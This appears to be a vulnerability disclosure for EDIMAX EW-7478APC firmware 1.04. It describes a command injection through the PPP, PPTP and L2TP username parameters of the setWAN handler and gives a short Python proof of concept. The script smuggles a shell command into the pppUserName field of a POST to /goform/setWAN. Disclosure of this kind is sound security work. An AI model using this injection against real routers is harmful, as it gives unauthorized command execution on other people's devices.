EW-7478APC 1.04
The EDIMAX EW-7478APC 1.04 firmware has a command injection vulnerability in the setWAN function. The v7/v16/v29 variables receive the pppUserName/pptpUserName/L2TPUserName parameters from a POST request. However, since the user can control the input of these variables, the statement system() can cause a command injection.

import requests
ip = "192.168.2.1"
payload = "$(ps>/1.txt)"
data = {"wanMode": "2", "pppUserName": payload}
url = f'http://{ip}/goform/setWAN'
res = requests.post(url=url, data=data, verify=False)
print(res)
